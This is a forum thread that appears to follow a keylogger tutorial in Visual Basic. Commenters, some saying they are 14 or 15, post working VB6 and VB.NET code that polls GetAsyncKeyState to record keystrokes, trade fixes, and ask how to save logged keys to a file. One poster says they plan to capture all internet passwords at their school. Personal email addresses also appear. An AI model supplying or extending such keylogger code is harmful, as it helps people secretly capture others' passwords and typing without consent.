This thread is for discussions of Simple Key logger.

This is awesome you just saved me a couple days of figuring out how to do it.
This code should be enough to get me strarting.

Thanks, from,

TDc

Well i was looking at making keyloggers as well and yea,that helped so ty.ur 14? im 14 as well  turing 15 in 2 months.If it wasnt too much troube gimme some help with extending the logger?

unllimted_carnage@hotmail.com

add to msn....

Thank you, you saved my ALOT of time

hey thanks for showing me how to make the keylogger but how do i save the keys into an alternate file?

If anyone needs information how to have it saved to a or any VB help, please write to hotmailmemberservices@hotmail.com
This is not hotmail, rather it is my own personal account, so please feel free to conract me.

-Defilar

thanks. im guessing this is visual basic 6.0 so no i will have all the internet passwords in the school.

Ty a lot.
it's only loads of work to get rid of all the weird characters but i'll succeed.
:-)

I'm 15, try putting that into C++ and then I'll be impressed.

C++ is a nightmare with this sort of thing

Finally, are you using this key logger for legal purposes - I use key loggers on my pc to monitor usage

Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()

For i = 32 To 128 'Changed to 32 to 128
result = 0
result = GetAsyncKeyState(i)

If result = -32767 Then
Text1.Text = Text1.Text + Chr$(i) 'Adding the $ sign
End If
Next i
End Sub

'That should fix the wierd characters

Hey, can't seem to get this code to work.

I am working on VB.net Express.

I added the code, but I seem to get an error:

"A call to PInvoke function 'WindowsApplication1!WindowsApplication1.Form1::GetAsyncKeyState' has unbalanced the stack. This is likely because the managed PInvoke signature does not match the unmanaged target signature. Check that the calling convention and parameters of the PInvoke signature match the target unmanaged signature."

 

And of course it crashes...And ideas?

 

About the PInvoke error, in this context you van set the vKey type to Integer:

Private

Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer

 

This is because the Long type was 4 byte in VB6, but in VB.NET is 8 byte

when i try to run the code it says name 'i' is not declared

i am using vb 2005 express

I got it working on visual basic express 2005!
____________________________________________________________________________
Public Class Form1
    Dim result As Integer
    Dim i As Double
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer


    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Interval = 10
        Timer1.Enabled = True
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 32 To 128
            result = 0
            result = GetAsyncKeyState(i)

            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i
    End Sub
End Class
______________________________________________________________________

Hey, thanks for the help, I got the code to work, but it really seems to be a CPU hog!! Any suggestions on what may be causing this, or how to remedy it?